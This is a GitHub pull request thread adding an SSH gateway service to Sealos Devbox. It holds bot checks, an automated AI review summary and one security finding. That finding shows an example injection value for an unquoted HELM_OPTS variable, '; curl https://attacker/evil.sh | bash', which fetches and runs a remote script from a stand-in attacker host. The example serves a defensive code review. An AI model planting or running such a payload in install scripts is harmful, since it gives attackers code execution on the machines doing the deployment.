feat: add devbox ssh gateway service

[zijiren233]

No description provided.

[pull-request-size]

Whoa! Easy there, Partner!

This PR is too big. Please break it up into smaller PRs.

[github-actions]

We require pull request titles to follow the Conventional Commits specification and it looks like your proposed title needs to be adjusted.

Details:

No scope found in pull request title "feat: add devbox ssh gateway service".

[Copilot]

Pull request overview

This PR introduces a new SSH gateway service for Sealos Devbox that enables SSH access to devbox pods via public key authentication. The gateway acts as a proxy that routes SSH connections based on client public keys to the appropriate backend devbox pods.

Key changes:

• New SSH gateway service with multi-mode authentication support (public key, agent forwarding, proxy jump)
• Kubernetes integration using informers to watch Secrets and Pods
• Comprehensive test coverage across all components
• Helm chart for deployment as a DaemonSet
• Go version updates across CI workflows

Reviewed changes

Copilot reviewed 54 out of 55 changed files in this pull request and generated 1 comment.

Show a summary per file

File	Description
.github/workflows/*.yml	Updated Go version from 1.23/1.20/1.22/1.24 to 1.25 (problematic)
service/sshgate/gateway/*.go	Core gateway implementation with authentication and proxying logic
service/sshgate/registry/*.go	Thread-safe registry for mapping SSH keys to devbox pods
service/sshgate/config/*.go	Configuration management with validation
service/sshgate/informer/*.go	Kubernetes informer integration for real-time sync
service/sshgate/deploy/chart/*	Helm chart templates for DaemonSet deployment
service/sshgate/*_test.go	Comprehensive unit and integration tests
service/go.work	Added sshgate to Go workspace
.golangci.yml	Updated Go version to 1.24

[Copilot]

HELM_OPTS is expanded unquoted in the helm upgrade command, allowing shell metacharacters (e.g., ;, &&, |) to be interpreted and enabling command injection if an attacker can influence the environment. An attacker could set HELM_OPTS='; curl https://attacker/evil.sh | bash' to execute arbitrary commands during install. Quote the variable and use eval-free argument passing, e.g.,

helm upgrade -i sshgate -n devbox-system --create-namespace charts --wait ${HELM_OPTS:+${HELM_OPTS}}

or better, parse known-safe flags into an array:

HELM_ARGS=(upgrade -i sshgate -n devbox-system --create-namespace charts --wait)
# append vetted options only
helm "${HELM_ARGS[@]}"